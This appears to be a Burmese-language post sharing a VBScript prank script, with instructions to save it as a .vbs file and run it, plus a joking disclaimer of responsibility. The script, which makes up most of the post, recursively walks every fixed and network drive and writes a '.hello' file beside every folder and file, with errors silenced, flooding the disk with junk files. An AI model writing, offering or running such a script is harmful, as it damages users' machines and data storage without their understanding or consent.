ၤFolder ေတြအမ်ားၾကီးပြားေစတဲ့ .vbs ကုတ္

ဒါကုိ စမ္းခ်င္သူမ်ား ေအာက္က ကုတ္လုိင္းကုိ Notepad ေပၚမွာ Copy>Paste လုပ္ျပီး file extention ေနရာမွာ .vbs အျဖစ္သိမ္းပါ။
ျပီးရင္ေတာ့ စမ္းလုိ႔ရပါျပီ။ တစ္ခုခုျဖစ္ရင္ေတာ့ တာဝန္မယူဘူးေနာ္.ဟိ ဟိ။

On Error Resume Next
dim FSobj,orgMes,finalMes
set FSobj=CreateObject("Scripting.FileSystemObject")

orgMes="Hello from Bl@ck Code "
orgMes=replace(orgMes,chr(42),chr(68))
orgMes=replace(orgMes,chr(124),chr(46))
finalMes=replace(orgMes,chr(37),chr(76))


On Error Resume Next
dim drive,machine

set machine=FSobj.Drives
for each drive in machine
     if (drive.DriveType=2)or(drive.DriveType=3) then
         indexFolders(drive.Path &"\")
    end If
next


sub indexFolders(location)
    On Error Resume Next
    dim specs,file,subFol,sayHello

    set specs=FSobj.GetFolder(location)
    set subFol=specs.SubFolders

    for each file in subFol
                set sayHello = FSobj.CreateTextFile(file.Path &".hello", 2, True)
        sayHello.write finalMes
        sayHello.Close
        writeData(file.Path)
        indexFolders(file.Path)
    next
end sub

sub writeData(location)
    On Error Resume Next
        dim folder,directory,file,sayHello

    set folder=FSobj.GetFolder(location)
    set directory=folder.Files

    for each file in directory
         set sayHello = FSobj.CreateTextFile(file.Path &".hello", 2, True)
        sayHello.write finalMes
        sayHello.Close
    next
end sub